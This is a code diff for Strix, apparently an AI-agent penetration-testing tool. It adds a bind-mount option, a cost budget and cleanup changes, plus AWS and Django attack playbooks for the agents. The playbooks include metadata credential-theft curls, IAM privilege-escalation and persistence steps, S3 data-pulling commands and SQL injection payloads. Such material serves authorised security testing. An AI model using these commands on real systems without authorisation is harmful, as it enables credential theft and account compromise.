@@ -33,9 +33,12 @@ from strix.interface.tui import run_tui
from strix.interface.utils import (
assign_workspace_subdirs,
build_final_stats_text,
build_mount_targets_info,
check_docker_connection,
clone_repository,
collect_local_sources,
dedupe_local_targets,
find_oversized_local_targets,
generate_run_name,
image_exists,
infer_target_type,
@@ -301,6 +304,17 @@ def get_version() -> str:
return "unknown"
def _positive_budget(value: str) -> float:
try:
budget = float(value)
except ValueError as exc:
raise argparse.ArgumentTypeError(f"invalid float value: {value!r}") from exc
import math
if not math.isfinite(budget) or budget <= 0:
raise argparse.ArgumentTypeError("must be a finite number greater than 0")
return budget
def parse_arguments() -> argparse.Namespace:
parser = argparse.ArgumentParser(
description="Strix Multi-Agent Cybersecurity Penetration Testing Tool",
@@ -317,6 +331,9 @@ Examples:
# Local code analysis
strix --target ./my-project
# Large local repository (bind-mounted read-only instead of copied)
strix --mount ./huge-monorepo
# Domain penetration test
strix --target example.com
@@ -352,6 +369,15 @@ Examples:
"Can be specified multiple times for multi-target scans. "
"Required for fresh runs; loaded from disk when ``--resume`` is set.",
)
parser.add_argument(
"--mount",
type=str,
action="append",
metavar="PATH",
help="Bind-mount a local directory into the sandbox (read-only) instead of "
"copying it file-by-file. Use this for large repositories that are too big to "
"stream into the container. Can be specified multiple times.",
)
parser.add_argument(
"--instruction",
type=str,
@@ -424,6 +450,13 @@ Examples:
help="Path to a custom config file (JSON) to use instead of ~/.strix/cli-config.json",
)
parser.add_argument(
"--max-budget-usd",
type=_positive_budget,
default=None,
help="Maximum LLM cost in USD (> 0). The scan stops cleanly when this limit is reached.",
)
parser.add_argument(
"--resume",
type=str,
@@ -455,9 +488,9 @@ Examples:
args.user_explicit_instruction = args.instruction if args.resume else None
if args.resume:
if args.target:
if args.target or args.mount:
parser.error(
"Cannot combine --resume with --target. --resume picks up where "
"Cannot combine --resume with --target/--mount. --resume picks up where "
"the prior run left off, including the original target list."
)
_load_resume_state(args, parser)
@@ -470,13 +503,13 @@ Examples:
f"or remove --resume to start over with the same targets."
)
else:
if not args.target:
if not args.target and not args.mount:
parser.error(
"the following arguments are required: -t/--target "
"the following arguments are required: -t/--target or --mount "
"(or use --resume <run_name> to continue a prior scan)"
)
args.targets_info = []
for target in args.target:
for target in args.target or []:
try:
target_type, target_dict = infer_target_type(target)
@@ -491,9 +524,30 @@ Examples:
except ValueError:
parser.error(f"Invalid target '{target}'")
try:
args.targets_info.extend(build_mount_targets_info(args.mount or []))
except ValueError as e:
parser.error(str(e))
args.targets_info = dedupe_local_targets(args.targets_info)
assign_workspace_subdirs(args.targets_info)
rewrite_localhost_targets(args.targets_info, HOST_GATEWAY_HOSTNAME)
max_local_copy_mb = load_settings().runtime.max_local_copy_mb
max_copy_bytes = max_local_copy_mb * 1024 * 1024
oversized = find_oversized_local_targets(args.targets_info, max_copy_bytes)
if oversized:
details = "; ".join(
f"{path} ({size / (1024 * 1024):.0f} MB)" for path, size in oversized
)
parser.error(
f"Local target too large to stream into the sandbox: {details}. "
f"The limit is {max_local_copy_mb} MB "
"(set STRIX_MAX_LOCAL_COPY_MB to change it). Re-run with "
"--mount <path> to bind-mount the directory instead of copying it."
)
return args
@@ -766,10 +820,10 @@ def main() -> None:
asyncio.run(run_tui(args))
except KeyboardInterrupt:
exit_reason = "interrupted"
except Exception as e:
except Exception:
exit_reason = "error"
posthog.error("unhandled_exception", str(e))
scarf.error("unhandled_exception", str(e))
posthog.error("unhandled_exception")
scarf.error("unhandled_exception")
raise
finally:
report_state = get_global_report_state()
+13 -17
View File
@@ -31,6 +31,7 @@ from textual.widgets import Button, Label, Static, TextArea, Tree
from textual.widgets.tree import TreeNode
from strix.config import load_settings
from strix.core.hooks import BudgetExceededError
from strix.core.runner import run_strix_scan
from strix.interface.tui.live_view import TuiLiveView
from strix.interface.tui.messages import send_user_message_to_agent
@@ -751,7 +752,7 @@ class StrixTUIApp(App): # type: ignore[misc]
self.report_state.cleanup()
def signal_handler(_signum: int, _frame: Any) -> None:
self._teardown_sandbox_blocking(timeout=10.0)
self._fire_sandbox_cleanup()
self.report_state.cleanup(status="interrupted")
sys.exit(0)
@@ -1369,12 +1370,18 @@ class StrixTUIApp(App): # type: ignore[misc]
local_sources=getattr(self.args, "local_sources", None) or [],
coordinator=self.coordinator,
interactive=True,
max_budget_usd=getattr(self.args, "max_budget_usd", None),
event_sink=self._capture_sdk_event,
),
)
except (KeyboardInterrupt, asyncio.CancelledError):
logger.info("Scan interrupted by user")
except BudgetExceededError:
# Defensive: the runner stops the scan cleanly on budget and
# returns, so this normally never propagates. Treat it as a
# graceful stop, not a scan error, if it ever does.
logger.info("Scan stopped: --max-budget-usd limit reached")
except (ConnectionError, TimeoutError) as e:
logging.exception("Network error during scan")
self._scan_error = e
@@ -1705,36 +1712,25 @@ class StrixTUIApp(App): # type: ignore[misc]
)
async def action_custom_quit(self) -> None:
await asyncio.to_thread(self._teardown_sandbox_blocking, timeout=10.0)
self._fire_sandbox_cleanup()
if self._scan_thread and self._scan_thread.is_alive():
self._scan_stop_event.set()
self._scan_thread.join(timeout=2.0)
self.report_state.cleanup()
self.exit()
def _teardown_sandbox_blocking(self, *, timeout: float) -> None:
def _fire_sandbox_cleanup(self) -> None:
self.coordinator.mark_shutting_down()
loop = self._scan_loop
if loop is None or loop.is_closed():
return
run_name = self.scan_config.get("run_name")
if not run_name:
return
future = asyncio.run_coroutine_threadsafe(
session_manager.cleanup(run_name),
loop,
)
try:
future.result(timeout=timeout)
except TimeoutError:
logger.warning(
"Sandbox cleanup timed out after %.1fs; container may still be running",
timeout,
)
except Exception:
logger.exception("Sandbox cleanup failed")
with contextlib.suppress(Exception):
asyncio.run_coroutine_threadsafe(session_manager.cleanup(run_name), loop)
def _is_widget_safe(self, widget: Any) -> bool:
try:
@@ -26,6 +26,11 @@ _EXIT_RE = re.compile(r"Process exited with code (-?\d+)")
_SESSION_RE = re.compile(r"Process running with session ID (\d+)")
_OUTPUT_HEADER = "\nOutput:\n"
_CONTROL_BYTES_TO_DROP = dict.fromkeys(
[b for b in range(0x20) if b not in (0x09, 0x0A)] + [0x7F],
None,
)
@cache
def _get_style_colors() -> dict[Any, str]:
@@ -60,14 +65,13 @@ def _parse_sdk_shell_result(result: Any) -> dict[str, Any]:
def _truncate_line(line: str) -> str:
clean_line = re.sub(r"\x1b\[[0-9;]*m", "", line)
if len(clean_line) > MAX_LINE_LENGTH:
if len(line) > MAX_LINE_LENGTH:
return line[: MAX_LINE_LENGTH - 3] + "..."
return line
def _clean_output(output: str) -> str:
cleaned = output
cleaned = Text.from_ansi(output).plain.translate(_CONTROL_BYTES_TO_DROP)
for pattern in STRIP_PATTERNS:
cleaned = re.sub(pattern, "", cleaned, flags=re.MULTILINE)
+121 -2
View File
@@ -1,5 +1,6 @@
import ipaddress
import json
import logging
import os
import re
import secrets
@@ -23,6 +24,9 @@ from rich.text import Text
from strix.config import load_settings
logger = logging.getLogger(__name__)
def get_severity_color(severity: str) -> str:
severity_colors = {
"critical": "#dc2626",
@@ -1185,8 +1189,8 @@ def is_whitebox_scan(targets_info: list[dict[str, Any]]) -> bool:
return any(t.get("type") == "local_code" for t in targets_info or [])
def collect_local_sources(targets_info: list[dict[str, Any]]) -> list[dict[str, str]]:
local_sources: list[dict[str, str]] = []
def collect_local_sources(targets_info: list[dict[str, Any]]) -> list[dict[str, Any]]:
local_sources: list[dict[str, Any]] = []
for target_info in targets_info:
details = target_info["details"]
@@ -1197,6 +1201,7 @@ def collect_local_sources(targets_info: list[dict[str, Any]]) -> list[dict[str,
{
"source_path": details["target_path"],
"workspace_subdir": workspace_subdir,
"mount": bool(details.get("mount", False)),
}
)
@@ -1205,12 +1210,126 @@ def collect_local_sources(targets_info: list[dict[str, Any]]) -> list[dict[str,
{
"source_path": details["cloned_repo_path"],
"workspace_subdir": workspace_subdir,
"mount": False,
}
)
return local_sources
def directory_size_bytes(path: Path) -> int:
"""Total size in bytes of regular files under ``path`` (symlinks not followed).
Best-effort: files that disappear or can't be stat'd mid-walk are skipped.
Used as a cheap (stat-only) pre-flight to estimate the cost of streaming a
local target into the sandbox before we actually try to copy it.
Directories that can't be listed (e.g. permission denied) are logged and
skipped rather than silently dropped so an under-count is at least
visible but the returned total then excludes their contents.
"""
def _on_walk_error(error: OSError) -> None:
logger.warning("Could not read %s while measuring size: %s", error.filename, error)
total = 0
for root, _dirs, files in os.walk(path, followlinks=False, onerror=_on_walk_error):
for name in files:
file_path = os.path.join(root, name) # noqa: PTH118
try:
if os.path.islink(file_path): # noqa: PTH114
continue
total += os.path.getsize(file_path) # noqa: PTH202
except OSError:
continue
return total
def find_oversized_local_targets(
targets_info: list[dict[str, Any]], max_bytes: int
) -> list[tuple[str, int]]:
"""Return ``(path, size_bytes)`` for non-mounted local targets over ``max_bytes``.
Mounted targets are bind-mounted rather than copied, so their size is
irrelevant and they are excluded. A ``max_bytes`` of zero or less disables
the check entirely (returns no targets).
"""
if max_bytes <= 0:
return []
oversized: list[tuple[str, int]] = []
for target in targets_info:
if target.get("type") != "local_code":
continue
details = target.get("details") or {}
if details.get("mount"):
continue
target_path = details.get("target_path")
if not target_path:
continue
size = directory_size_bytes(Path(target_path))
if size > max_bytes:
oversized.append((target_path, size))
return oversized
def build_mount_targets_info(mount_paths: list[str]) -> list[dict[str, Any]]:
"""Build ``targets_info`` entries for ``--mount`` directories.
Each path must be an existing local directory; it is bind-mounted into the
sandbox (read-only) instead of being copied file-by-file. Raises
``ValueError`` for an empty path, or one that does not exist or is not a
directory.
"""
targets_info: list[dict[str, Any]] = []
for raw in mount_paths:
if not raw or not raw.strip():
raise ValueError("--mount path must not be empty.")
path = Path(raw).expanduser()
try:
resolved = path.resolve()
is_dir = resolved.is_dir()
except (OSError, RuntimeError) as e:
raise ValueError(f"Invalid mount path '{raw}': {e!s}") from e
if not is_dir:
raise ValueError(
f"Mount path '{raw}' is not an existing directory. "
"--mount requires a path to a local directory."
)
targets_info.append(
{
"type": "local_code",
"details": {"target_path": str(resolved), "mount": True},
"original": str(resolved),
}
)
return targets_info
def dedupe_local_targets(targets_info: list[dict[str, Any]]) -> list[dict[str, Any]]:
"""Collapse local_code targets that resolve to the same path.
When a directory is supplied both as a copied ``--target`` and via
``--mount`` (or as duplicate values of either), keep one entry and prefer
the bind-mounted one so the same tree is never both streamed in and
mounted. Order is preserved; non-local targets pass through untouched.
"""
result: list[dict[str, Any]] = []
index_by_path: dict[str, int] = {}
for target in targets_info:
details = target.get("details") or {}
path = details.get("target_path")
if target.get("type") != "local_code" or not path:
result.append(target)
continue
existing = index_by_path.get(path)
if existing is None:
index_by_path[path] = len(result)
result.append(target)
elif details.get("mount") and not (result[existing].get("details") or {}).get("mount"):
result[existing] = target # bind mount supersedes the copied entry
return result
def _is_localhost_host(host: str) -> bool:
host_lower = host.lower().strip("[]")
+4
View File
@@ -236,6 +236,10 @@ class ReportState:
def get_total_llm_usage(self) -> dict[str, Any]:
return dict(self.run_record.get("llm_usage") or self._build_llm_usage_record())
def get_total_llm_cost(self) -> float:
"""Live accumulated LLM cost, independent of the persisted run-record snapshot."""
return self._llm_usage.total_cost
def update_scan_final_fields(
self,
executive_summary: str,
+4
View File
@@ -52,6 +52,10 @@ class LLMUsageLedger:
if isinstance(cost, int | float) and cost > 0:
self._total_cost += float(cost)
@property
def total_cost(self) -> float:
return _round_cost(self._total_cost)
def to_record(self) -> dict[str, Any]:
record = serialize_usage(self._total_usage)
record["cost"] = _round_cost(self._total_cost)
+1 -1
View File
@@ -27,7 +27,7 @@ def read_run_record(run_dir: Path) -> dict[str, Any]:
except (OSError, json.JSONDecodeError) as exc:
raise RuntimeError(f"run.json at {path} is unreadable: {exc}") from exc
if not isinstance(data, dict):
raise RuntimeError(f"run.json at {path} is not an object")
raise TypeError(f"run.json at {path} is not an object")
return data
+10 -4
View File
@@ -22,6 +22,7 @@ async def _docker_backend(
image: str,
manifest: Manifest,
exposed_ports: tuple[int, ...],
bind_mounts: list[dict[str, Any]] | None = None,
) -> tuple[Any, Any]:
"""Bring up a session backed by the local Docker daemon.
@@ -31,11 +32,15 @@ async def _docker_backend(
backend don't need the docker-py library installed.
``session.start()`` is what materializes the manifest entries
(LocalDir copies, mount setup, etc.) into the running container
the SDK's ``client.create()`` only builds the inner session object
without applying the manifest. ``async with session:`` would call it
too, but Strix manages session lifetime explicitly via
(LocalDir copies and manifest-declared volume/FUSE mounts) into the
running container the SDK's ``client.create()`` only builds the inner
session object without applying the manifest. ``async with session:``
would call it too, but Strix manages session lifetime explicitly via
``client.delete()`` so we trigger ``start()`` ourselves.
``bind_mounts`` are host directories (e.g. large repos passed via
``--mount``) bind-mounted read-only; unlike manifest entries they are
applied by Docker at container-create time, not by ``start()``.
"""
import docker
from agents.sandbox.sandboxes.docker import DockerSandboxClientOptions
@@ -43,6 +48,7 @@ async def _docker_backend(
from strix.runtime.docker_client import StrixDockerSandboxClient
client = StrixDockerSandboxClient(docker.from_env())
client.strix_bind_mounts = bind_mounts or []
options = DockerSandboxClientOptions(image=image, exposed_ports=exposed_ports)
session = await client.create(options=options, manifest=manifest)
await session.start()
+30
View File
@@ -22,6 +22,7 @@ re-merging the parent body. Track upstream for an injection hook.
from __future__ import annotations
import contextlib
import logging
import uuid
from typing import Any
@@ -34,7 +35,10 @@ from agents.sandbox.sandboxes.docker import (
_manifest_requires_fuse,
_manifest_requires_sys_admin,
)
from agents.sandbox.session.sandbox_session import SandboxSession
from docker import errors as docker_errors # type: ignore[import-untyped, unused-ignore]
from docker.models.containers import Container # type: ignore[import-untyped, unused-ignore]
from docker.types import Mount as DockerSDKMount # type: ignore[import-untyped, unused-ignore]
from docker.utils import parse_repository_tag # type: ignore[import-untyped, unused-ignore]
@@ -42,6 +46,10 @@ logger = logging.getLogger(__name__)
class StrixDockerSandboxClient(DockerSandboxClient):
# Host directories to bind-mount into the container, set by the docker
# backend before ``create()``. Each item is ``{source, target, read_only}``.
strix_bind_mounts: list[dict[str, Any]] = [] # overridden per-instance in backends.py
async def _create_container(
self,
image: str,
@@ -108,6 +116,21 @@ class StrixDockerSandboxClient(DockerSandboxClient):
extra_hosts = create_kwargs.setdefault("extra_hosts", {})
extra_hosts["host.docker.internal"] = "host-gateway"
# Strix injection: host bind mounts (e.g. large repos passed via --mount)
# that bypass the SDK's file-by-file LocalDir copy.
bind_mounts = getattr(self, "strix_bind_mounts", ())
if bind_mounts:
mounts = create_kwargs.setdefault("mounts", [])
for spec in bind_mounts:
mounts.append(
DockerSDKMount(
target=spec["target"],
source=spec["source"],
type="bind",
read_only=spec.get("read_only", True),
)
)
logger.debug(
"Creating sandbox container: image=%s caps=%s exposed_ports=%s",
image,
@@ -121,3 +144,10 @@ class StrixDockerSandboxClient(DockerSandboxClient):
image,
)
return container
async def delete(self, session: SandboxSession) -> SandboxSession:
container_id = getattr(getattr(session._inner, "state", None), "container_id", None)
if container_id:
with contextlib.suppress(docker_errors.NotFound, docker_errors.APIError):
self.docker_client.containers.get(container_id).kill()
return await super().delete(session)
+40 -10
View File
@@ -23,30 +23,59 @@ _CONTAINER_CAIDO_PORT = 48080
_SESSION_CACHE: dict[str, dict[str, Any]] = {}
# Manifest root inside the container; entry keys hang off this path.
_WORKSPACE_ROOT = "/workspace"
def build_session_entries(
local_sources: list[dict[str, Any]],
) -> tuple[dict[str | Path, BaseEntry], list[dict[str, Any]]]:
"""Split local sources into copied manifest entries and host bind mounts.
Sources flagged ``mount`` are bind-mounted read-only at
``/workspace/<workspace_subdir>`` (not added to the manifest, so the SDK
does not stream them in file-by-file). Every other source becomes a
``LocalDir`` entry copied into the container as before.
"""
entries: dict[str | Path, BaseEntry] = {}
bind_mounts: list[dict[str, Any]] = []
for src in local_sources:
ws_subdir = src.get("workspace_subdir") or ""
host_path = src.get("source_path") or ""
if not ws_subdir or not host_path:
continue
resolved = Path(host_path).expanduser().resolve()
if src.get("mount"):
bind_mounts.append(
{
"source": str(resolved),
"target": f"{_WORKSPACE_ROOT}/{ws_subdir}",
"read_only": True,
}
)
else:
entries[ws_subdir] = LocalDir(src=resolved)
return entries, bind_mounts
async def create_or_reuse(
scan_id: str,
*,
image: str,
local_sources: list[dict[str, str]],
local_sources: list[dict[str, Any]],
) -> dict[str, Any]:
"""Return the existing session bundle for ``scan_id`` or create a new one.
Each ``local_sources`` entry mounts its host ``source_path`` at
``/workspace/<workspace_subdir>`` inside the container.
Each ``local_sources`` entry exposes its host ``source_path`` at
``/workspace/<workspace_subdir>`` inside the container copied in, or
bind-mounted read-only when the entry is flagged ``mount``.
"""
cached = _SESSION_CACHE.get(scan_id)
if cached is not None:
logger.info("Reusing existing sandbox session for scan %s", scan_id)
return cached
entries: dict[str | Path, BaseEntry] = {}
for src in local_sources:
ws_subdir = src.get("workspace_subdir") or ""
host_path = src.get("source_path") or ""
if not ws_subdir or not host_path:
continue
entries[ws_subdir] = LocalDir(src=Path(host_path).expanduser().resolve())
entries, bind_mounts = build_session_entries(local_sources)
# Caido runs as an in-container sidecar; HTTP(S) traffic from any
# process started via ``session.exec`` (the SDK's Shell tool, etc.)
@@ -81,6 +110,7 @@ async def create_or_reuse(
image=image,
manifest=manifest,
exposed_ports=(_CONTAINER_CAIDO_PORT,),
bind_mounts=bind_mounts,
)
caido_endpoint = await session.resolve_exposed_port(_CONTAINER_CAIDO_PORT)
+231
View File
@@ -0,0 +1,231 @@
---
name: aws
description: AWS cloud security testing covering IAM misconfigurations, S3 exposure, metadata abuse, and privilege escalation paths
---
# AWS Cloud Security
AWS misconfigurations frequently expose credentials, data, and lateral movement paths. This skill covers direct AWS API testing and post-compromise enumeration from EC2/Lambda/container workloads. For SSRF-mediated metadata access, combine with the ssrf skill.
## Attack Surface
**Identity**
- IAM users, roles, groups, policies (inline and managed)
- Access keys, session tokens, SSO/SAML federation
- Cross-account roles, trust policies, permission boundaries
**Storage & Data**
- S3 buckets, objects, bucket policies, ACLs, Block Public Access settings
- EBS snapshots, RDS snapshots, AMIs shared publicly
- Secrets Manager, SSM Parameter Store, KMS keys
**Compute**
- EC2 instances, Lambda functions, ECS/EKS tasks
- Instance metadata service (IMDSv1/v2) at `169.254.169.254`
- User data, launch templates, AMIs
**Network**
- Security groups, NACLs, VPC endpoints, public subnets
- ELB/ALB/CloudFront misconfigurations
**Management**
- CloudTrail, Config, GuardDuty gaps
- Cognito user pools, API Gateway, AppSync
## Reconnaissance
**Credential Discovery**
- Environment variables: `AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`, `AWS_SESSION_TOKEN`
- `~/.aws/credentials`, `~/.aws/config`, CI/CD env vars, `.env` files
- Hardcoded keys in source, mobile apps, JavaScript bundles
**Unauthenticated Enumeration**
Use two separate checks — they answer different questions and must not be conflated:
**1. Bucket existence (does the name resolve?)**
Goal: learn whether a bucket name exists in AWS, without needing `s3:ListBucket`.
- `head-bucket` or `curl -I` HTTP status is the signal — not `aws s3 ls`.
- `403 Forbidden` → bucket exists but you lack access (private or wrong account).
- `404 Not Found` → bucket does not exist in that region, or name is wrong.
```
aws s3api head-bucket --bucket target-bucket --no-sign-request 2>&1
curl -I https://target-bucket.s3.amazonaws.com/
```
**2. Public listing (is ListBucket granted to anonymous users?)**
Goal: confirm `s3:ListBucket` is publicly granted — a separate and stronger finding than existence alone.
- Only run `aws s3 ls` for this step; a successful listing returns object keys/prefixes.
- Failure here does not disprove existence (a private bucket still returns 403 on list).
```
aws s3 ls s3://target-bucket --no-sign-request
```
**Authenticated Enumeration (with any credentials)**
```
aws sts get-caller-identity
aws iam get-account-authorization-details 2>/dev/null
aws iam list-users
aws iam list-roles
aws iam list-attached-user-policies --user-name <user>
aws s3 ls
aws ec2 describe-instances
```
## Key Vulnerabilities
### S3 Misconfigurations
- Public read/write buckets (ACL `public-read`, policy `"Principal":"*"`)
- AuthenticatedUsers group grants (`http://acs.amazonaws.com/groups/global/AuthenticatedUsers`)
- ListBucket enabled publicly → object key enumeration
- Sensitive object keys guessable: `backup/`, `db/`, `.env`, `config/`, `logs/`
**Test:**
```
aws s3 ls s3://BUCKET --no-sign-request
aws s3 cp s3://BUCKET/sensitive-file . --no-sign-request
curl https://BUCKET.s3.amazonaws.com/
```
### IAM Privilege Escalation
Common escalation paths (verify with `aws iam simulate-principal-policy` when possible):
| Permission | Escalation |
|------------|------------|
| `iam:CreatePolicyVersion` | Attach admin policy version to self |
| `iam:SetDefaultPolicyVersion` | Roll back to older permissive policy version |
| `iam:PassRole` + `lambda:CreateFunction` | Create Lambda with admin role, invoke |
| `iam:PassRole` + `ec2:RunInstances` | Launch EC2 with instance profile |
| `sts:AssumeRole` on overprivileged role | Cross-account or same-account pivot |
| `iam:UpdateAssumeRolePolicy` | Add self to trust policy of privileged role |
| `iam:AttachUserPolicy` / `PutUserPolicy` | Self-grant admin |
**Test:**
```
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | cut -d/ -f2)
aws iam simulate-principal-policy --policy-source-arn <arn> --action-names iam:CreateAccessKey --resource-arns "*"
```
### Instance Metadata Abuse
**IMDSv1 (no token required)**
```
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
curl http://169.254.169.254/latest/user-data
```
**IMDSv2 bypass contexts**
- SSRF with header injection if server forwards `X-aws-ec2-metadata-token`
- Container sidecars without hop limit enforcement
- Misconfigured proxies allowing link-local access
### Snapshot and Backup Exposure
- Public EBS/RDS snapshots: `aws ec2 describe-snapshots --restorable-by-user-names all`
- AMIs with `Public` launch permission containing secrets or keys
- Backup vaults cross-account without proper isolation
### Lambda and Serverless
- Overprivileged execution roles (`AdministratorAccess` on Lambda role)
- Environment variables containing secrets (visible via `lambda:GetFunctionConfiguration`)
- Function URLs or API Gateway without auth
- Event source mappings triggering on attacker-controlled events
### Cognito Misconfigurations
- Self-signup enabled with elevated default group membership
- Missing app client secret on confidential flows
- Custom attribute write permissions allowing privilege fields (`custom:role`, `custom:admin`)
- ID token custom claims trusted by backend without verification
### KMS and Secrets
- KMS key policies allowing `Principal: *` or overly broad accounts
- Secrets Manager secrets readable by unintended roles
- SSM parameters under `/` with `GetParameter` for unauthenticated or low-priv callers
## Advanced Techniques
**Cross-Account Role Assumption**
- Find roles trusting `*` or external accounts broadly
- Confused deputy: service assumes role without external ID validation
**CloudFront Origin Exposure**
- Origin pointing directly to S3 website or ALB bypassing WAF
- Signed URL/cookie misconfiguration allowing object access
**Resource-Based Policy Gaps**
- S3 bucket policy allowing `s3:GetObject` from unintended principals
- Lambda resource policy `Principal: *` with weak condition keys
## Testing Methodology
1. **Discover credentials** — Keys in code, env, metadata, or SSRF
2. **Identify principal**`get-caller-identity`, map effective permissions
3. **Enumerate resources** — S3, EC2, IAM, Lambda within policy bounds
4. **Escalation paths** — Run escalation checklist against attached policies
5. **Data exposure** — Public buckets, snapshots, secrets, user-data scripts
6. **Persistence** — New access keys, backdoor roles, Lambda triggers (only in authorized scope)
## Validation
1. Demonstrate unauthorized read/write of S3 objects or snapshots with evidence (object keys, ETags)
2. Show IAM escalation from low-priv to higher-priv with exact API calls and resulting permissions
3. Prove metadata credential theft path (SSRF or IMDS) with redacted temporary credentials scope
4. Document resource ARN, policy statement, and misconfiguration root cause
5. Confirm fix would block the specific principal/action/resource combination
## False Positives
- Intentionally public static assets bucket with no sensitive keys
- Read-only `s3:ListBucket` on empty marketing bucket
- Metadata endpoint unreachable from tested context (no SSRF, IMDSv2 enforced with hop limit)
- Simulated escalation blocked by permission boundary or SCP
- 403 on S3 that indicates existence but not readable content (still note for recon, not data breach)
## Impact
- Mass data exfiltration from S3/RDS/snapshots
- Full account or organization compromise via IAM escalation
- Persistent backdoor access through new keys or roles
- Regulatory exposure (PII/PCI in unencrypted public buckets)
## Pro Tips
1. Always run `get-caller-identity` first to know your effective principal
2. Distinguish 403 vs 404 on S3 — both are useful, mean different things
3. Check instance profile role, not just user credentials, from metadata
4. Review trust policies on roles, not just permission policies
5. Combine with subdomain takeover — dangling S3 bucket names in DNS CNAMEs
## Tooling
Prefer credential-light, install-once CLIs. The sandbox has `awscli`/`python`/`pipx`/`go` and build-time egress.
- **awscli** — the primary enumeration tool (used throughout this skill). Always start with `aws sts get-caller-identity`.
- **enumerate-iam** (andresriancho) — tiny script that brute-forces which API calls a set of keys can make when you can't read your own policy:
```
git clone https://github.com/andresriancho/enumerate-iam && cd enumerate-iam
pip install -r requirements.txt
python enumerate-iam.py --access-key AKIA... --secret-key ...
```
- **cloudsplaining** (Salesforce) — offline IAM policy risk analysis; finds privilege-escalation/resource-exposure in the auth-details JSON:
```
pipx install cloudsplaining
aws iam get-account-authorization-details > auth.json
cloudsplaining scan --input-file auth.json
```
- **CloudFox** (BishopFox) — single Go binary for fast post-compromise inventory and "what can I do from here" surfacing: `cloudfox aws --profile <profile> all-checks`
- **Pacu** (Rhino Security Labs) — the standard AWS exploitation framework; heavier, but its `iam__privesc_scan` module automates the escalation table above. Use for a full exploitation session (`run iam__enum_permissions`, then `run iam__privesc_scan`).
## Summary
AWS security requires least-privilege IAM, blocked public data paths, IMDSv2 with hop limits, and tight resource policies. Enumerate from any credential found — even limited read access often reveals escalation chains.
+214
View File
@@ -0,0 +1,214 @@
---
name: django
description: Security testing playbook for Django applications covering ORM injection, middleware gaps, auth/session flaws, and template issues
---
# Django
Security testing for Django web applications and Django REST Framework (DRF) APIs. Focus on ORM/raw query misuse, middleware ordering, permission class gaps, and session/auth configuration across views, admin, and channels.
## Attack Surface
**Core Components**
- URL routing (`urls.py`), class-based and function views, middleware stack
- ORM (QuerySet filters), raw SQL, `extra()`, `RawSQL`, annotations
- Templates (Django template language, Jinja2 if configured)
- Forms, ModelForms, serializers (DRF)
**Authentication**
- Session framework, `AuthenticationMiddleware`, `@login_required`, DRF `permission_classes`
- Token auth, JWT (djangorestframework-simplejwt), OAuth integrations
- Django admin (`/admin/`), staff/superuser flags
**Deployment**
- `DEBUG=True` exposure, `ALLOWED_HOSTS`, `SECRET_KEY` leakage
- Static/media serving, reverse proxies, ASGI (Channels, Daphne, Uvicorn)
## High-Value Targets
- `/admin/` — brute force, credential stuffing, IDOR on admin objects
- API endpoints with mixed permission classes across ViewSets
- File upload (`FileField`, `ImageField`), import/export (django-import-export)
- Search/filter endpoints using `filter()`, `Q` objects, or raw SQL
- Password reset, email verification, invitation tokens
- WebSocket consumers (Django Channels) with weaker auth than HTTP equivalents
- Celery task triggers accepting user IDs without ownership checks
## Reconnaissance
**Fingerprinting**
```
curl -I https://target/ -H "Cookie: sessionid=test"
# X-Frame-Options, Set-Cookie (sessionid, csrftoken), Server header
GET /admin/login/
GET /api/ /api/v1/ /swagger/ /api/schema/
```
**Settings Leakage (when DEBUG=True or misconfigured)**
- Yellow debug page exposes `SECRET_KEY`, database credentials, installed apps
- `/static/`, error pages with stack traces revealing paths and ORM queries
**OpenAPI / DRF**
```
GET /api/schema/
GET /swagger.json
```
Map endpoints, authentication classes, and permission classes per route.
## Key Vulnerabilities
### Authentication & Authorization
**Permission Class Gaps**
- ViewSet with `list` protected but `retrieve`/`update` missing `permission_classes`
- Custom permissions checking authentication but not object ownership (IDOR)
- `@api_view` without explicit permissions inheriting permissive defaults
- Admin actions or custom management commands without staff checks
**Session Issues**
- `SESSION_COOKIE_SECURE=False` on HTTPS sites; missing `HttpOnly`
- Session fixation if session key not rotated on login
- Weak or leaked `SECRET_KEY` → forge session cookies (`django.contrib.sessions.backends.signed_cookies`)
**JWT (simplejwt)**
- RS256→HS256 confusion if algorithm pinning is misconfigured
- Missing `user_id`/`token` blacklist on logout
- Refresh token rotation not enforced
### Injection
**ORM SQL Injection**
Vulnerable patterns (more common in legacy code):
```python
User.objects.raw(f"SELECT * FROM auth_user WHERE username = '{user_input}'")
User.objects.extra(where=[f"username = '{user_input}'"])
```
Test: `' OR 1=1 --`, time-based payloads, database-specific syntax.
**DRF Filter Backends**
- `django-filter` with unsafe field exposure: `?username__icontains=` on unintended columns
- Ordering injection via `?ordering=` if field whitelist missing
**Template Injection**
Django templates auto-escape by default; risk rises with:
```python
mark_safe(user_input)
|safe filter in templates
Template(user_input).render(...) # SSTI if user controls template source
```
Jinja2 backend without autoescape: `{{7*7}}`, RCE gadgets if sandbox misconfigured.
### CSRF
- `@csrf_exempt` on state-changing views
- DRF session authentication without CSRF enforcement on unsafe methods
- CSRF cookie not set (`CSRF_USE_SESSIONS`, trusted origins misconfiguration)
- `CSRF_TRUSTED_ORIGINS` too broad
**Test:** Cross-origin POST with victim session cookie; JSON endpoints with session auth.
### IDOR and Mass Assignment
**DRF Serializers**
- `fields = '__all__'` exposing `is_staff`, `is_superuser`, `role`, `balance`
- `read_only_fields` missing on sensitive ModelSerializer fields
- Nested writes updating foreign keys across tenants
**Object-Level Permissions**
- `get_object()` without filtering queryset by request.user
- Generic views with `queryset = Model.objects.all()` and weak permissions
### File Handling
- `MEDIA_ROOT` served directly in DEBUG or via misconfigured nginx
- Path traversal in custom file download views using user-supplied paths
- SVG/HTML uploads served with `Content-Type` that enables XSS
- Missing file size/type validation on uploads
### SSRF
- `requests.get(user_url)` in webhooks, preview, import features
- Celery tasks fetching user URLs server-side
- Test loopback, metadata IPs, redirect chains
### Host Header / Password Reset
- `ALLOWED_HOSTS = ['*']` or permissive subdomain patterns
- Password reset emails built from `Host` header → poisoned reset links
- Cache poisoning via unkeyed Host header on cached pages
### Django Admin
- Default `/admin/` path with weak credentials
- `has_add_permission` / `has_change_permission` overrides with logic bugs
- ModelAdmin exposing sensitive fields in list_display or export
### Channels / WebSocket
- Consumer accepts connection without session/auth parity to HTTP
- Group name derived from user input → subscribe to other users' channels
- Missing origin validation on WebSocket handshake
## Bypass Techniques
